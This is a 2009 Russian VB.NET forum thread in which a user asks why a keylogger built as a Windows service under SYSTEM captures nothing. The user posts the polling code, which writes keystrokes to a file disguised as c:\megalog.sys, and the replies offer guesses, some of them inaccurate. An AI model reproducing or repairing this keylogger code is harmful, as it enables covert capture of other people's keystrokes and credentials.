Страница: 1 |
Страница: 1 |
Вопрос: Странное поведение служб в VB .NET
Добавлено: 26.04.09 18:36
Автор вопроса: Programmer
Делаю кейлоггер (все законно - он будет стоять только у меня на компе ))
Ловлю нажатия клавиш с помощью API-функции GetAsyncKeyState.
Во время отладки все нормально, устанавливаю сервис, запускаю его, аттаачусь к сервису и... вижу, что API-функция почему-то НИЧЕГО НЕ ВОЗВРАЩАЕТ!
Когда запускаю отладку просто через F8 - все нормально, а вот сервис почему-то не получает значение, которое должна возвратить эта функция.
Вот основной код, может разберетесь)
Private Declare Function GetAsyncKeyState Lib "user32" Alias "GetAsyncKeyState" (ByVal vKey As Integer) As Integer
Private WithEvents sv_Timer As New Timers.Timer(100)
Protected Overrides Sub OnStart(ByVal args() As String)
' Add code here to start your service. This method should set things
' in motion so your service can do its work.
sv_Timer.Start()
End Sub
Protected Overrides Sub OnStop()
' Add code here to perform any tear-down necessary to stop your service.
sv_Timer.Stop()
End Sub
Private Sub timKey_Tick(ByVal sender As Object, ByVal e As Timers.ElapsedEventArgs) Handles sv_Timer.Elapsed
Dim i As Integer, a As Integer, s As String = ""
For i = 1 To 255
a = GetAsyncKeyState(i)
If a < 0 Then s = s & Chr(i)
Next
If s.Length > 100 Then
Dim fs As New System.IO.FileStream("c:\megalog.sys", IO.FileMode.Append)
Dim w As New System.IO.StreamWriter(fs)
w.Write(s)
w.Flush()
fs.Close()
s = ""
End If
End Sub
End Class
Может поможете? Я уже не знаю что и думать...
Да, сервис запущен под SYSTEM. Может это какое-то ограничение Windows?
Заранее спасибо.
Ответы
Всего ответов: 3
Номер ответа: 1
Автор ответа:
MegaÐefender
Вопросов: 19
Ответов: 313
Web-сайт:
Профиль | | #1
Добавлено: 26.04.09 22:23
Функция GetAsyncKeyState возвращает 0, потому что в сервисе нельзя использовать её. Не знаю как в .NET'е, а в VB6, например, можно написать DLL, в которой будет объявлена эта функция. Проверено на практике. Надеюсь помог...
Номер ответа: 2
Автор ответа:
Programmer
Вопросов: 71
Ответов: 246
Профиль | | #2
Добавлено: 26.04.09 22:54
Почему нельзя использовать?
Я тут посоветовался - а может дело в том, что сирвис работает под другим десктопом?
Номер ответа: 3
Автор ответа:
MegaÐefender
Вопросов: 19
Ответов: 313
Web-сайт:
Профиль | | #3
Добавлено: 27.04.09 08:51
В сервисе нужно использовать функции API только в unicode-формате.